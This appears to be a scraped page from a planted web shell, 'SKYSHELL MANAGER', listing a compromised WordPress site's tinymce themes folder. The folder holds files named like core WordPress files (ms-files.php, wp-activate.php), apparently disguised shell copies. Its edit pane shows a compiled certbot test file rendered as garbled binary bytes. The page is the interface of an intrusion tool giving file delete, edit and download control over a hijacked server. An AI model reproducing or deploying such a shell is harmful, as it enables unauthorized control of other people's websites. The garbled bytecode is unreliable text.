📁
SKYSHELL MANAGER
PHP v8.3.6
Create
Create
Path:
root
/
var
/
www
/
cstage
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
ms-files.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: reverter_test.cpython-312.pyc
� M/�eiB � �` � d Z ddlZddlZddlZddlZddlZddlZddlmZ ddlZddl m Z ddlmZ ddl mZ G d� dej � Z G d � d ej � Zd� Zd� Zd � Zd� Zd� Zd� Zd� Zedk( r4 ej6 ej8 ej: dd egz � � yy)zTest certbot.reverter.� N)�mock)�errors)�os)�utilc �H � � e Zd ZdZ� fd�Zd� Z ej d� d� � Zd� Z d� Z d� Zd � Zd � Z d� Zd� Zd � Zd� Zd� Z ej d� d� � Zd� Zd� Zd� Zd� Zd� Z ej d� d� � Z ej d� d� � Zd� Z� xZS )�ReverterCheckpointLocalTestzTest the Reverter Class.c � �� t �| � � ddlm} t j t j � || j � | _ t � }|\ | _ | _ | _ | _ | _ y �Nr )�Reverter��super�setUp�certbot.reverterr �logging�disable�CRITICAL�config�reverter�setup_test_files�config1�config2�dir1�dir2�sets��selfr �tup� __class__s ��G/usr/lib/python3/dist-packages/certbot/_internal/tests/reverter_test.pyr z!ReverterCheckpointLocalTest.setUp �U �� � �� ��-� ����(�(�)� ����-�� �� ��FI�C���d�l�D�I�t�y�$�)� c � � t j | j j � t j | j � t j | j � t j t j � y �N� �shutil�rmtreer �work_dirr r r r �NOTSET�r s r �tearDownz$ReverterCheckpointLocalTest.tearDown �H � �� � �d�k�k�*�*�+�� � �d�i�i� �� � �d�i�i� �������'r! z*certbot.reverter.Reverter._read_and_appendc �$ � t d� |_ | j j | j d d� | j j d� t j | j j j � d }t j j | j j j |d� }t |d� 5 }|j � }d d d � dv sJ �y # t $ r Y ��w xY w# 1 sw Y �xY w)Nzcannot evenr �save1�blah� CHANGES_SINCE�rz No changes)�OSError�side_effectr �add_to_checkpointr �finalize_checkpointr �listdirr � backup_dir�path�join�open�read)r � mock_readr7 � no_change�f�xs r �test_no_changez*ReverterCheckpointLocalTest.test_no_change&